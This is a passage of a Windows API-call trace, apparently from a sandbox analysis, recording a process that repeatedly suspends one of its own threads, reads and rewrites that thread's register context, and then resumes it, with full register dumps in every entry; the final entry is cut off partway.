[0131.331] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fbd0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1744ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.332] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fbc8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.332] ResumeThread (hThread=0x130) returned 0x1
[0131.332] CloseHandle (hObject=0x130) returned 1
[0131.332] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.381] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.427] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.427] SuspendThread (hThread=0x130) returned 0x0
[0131.427] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fbe8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x174f040, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.427] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fbe0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.427] ResumeThread (hThread=0x130) returned 0x1
[0131.427] CloseHandle (hObject=0x130) returned 1
[0131.427] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.472] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.515] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.515] SuspendThread (hThread=0x130) returned 0x0
[0131.515] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021edf8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1752fff, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, 